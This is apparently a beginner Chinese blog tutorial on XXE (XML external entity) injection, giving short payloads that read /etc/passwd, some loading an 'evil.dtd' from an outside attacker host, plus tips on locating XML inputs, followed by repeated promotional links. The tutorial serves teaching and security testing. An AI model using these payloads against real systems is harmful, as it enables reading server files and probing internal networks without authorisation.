前言
这是大白给粉丝盆友们整理的网络安全渗透测试入门阶段文件XXE渗透与防御第2篇。
本文主要讲解XXE的攻击与危害
喜欢的朋友们,记得给大白点赞支持和收藏一下,关注我,学习黑客技术。
XXE的攻击与危害
1、XXE漏洞原理和危害:
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
2、构建外部实体注入方法
1)直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd/">
]>
<c>&b;</c>
2)通过DTD文档引入外部DTD文档,再引入外部实体声明
XML内容:
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>
DTD文件内容:
<!ENTITY b SYSTEM "file:///etc/passwd/">
3)通过DTD外部实体声明引入外部实体声明
先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明
XML内容
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY %d SYSTEM "http://mark4z5.com/evil.dtd">
%d;
]>
<c>&b;</c>
dtd文件内容:
<!ENTITY b SYSTEM "file:///etc/passwd/">
注:外部实体的利用会用到协议如下:
LIBXML2 | PHP | JAVA | .NET |
---|---|---|---|
file | file | http | file |
http | http | https | http |
ftp | ftp | ftp | https |
php | file | ftp | |
compress.zlib | jar | ||
compress.bzip2 | netdoc | ||
data | mailto | ||
glob | gopher * | ||
phar | |||
3、寻找 XML 输入点
甄别那些接受XML作为输入内容的端点。 但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
例如:判断wsdl(web服务描述语言)。或者一些常见的采用xml的java服务配置文件(spring,struts2)。不过现实中存在的大多数XXE漏洞都是blind,即不可见的,必须采用带外通道进行返回信息的记录,这里简单来说就是攻击者必须具有一台具有公网ip的主机。
例如:从PHP代码层面
存在 Content-Type:text/xml
, 说明post 的数据包含 XML 格式,如:
Copy<forgot><username>admin</username></forgot>
可以在请求头中添加 Content-Type:text/xml
或 Content-type:application/xml
,然后构造payload测试是否存在XXE攻击漏洞
为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取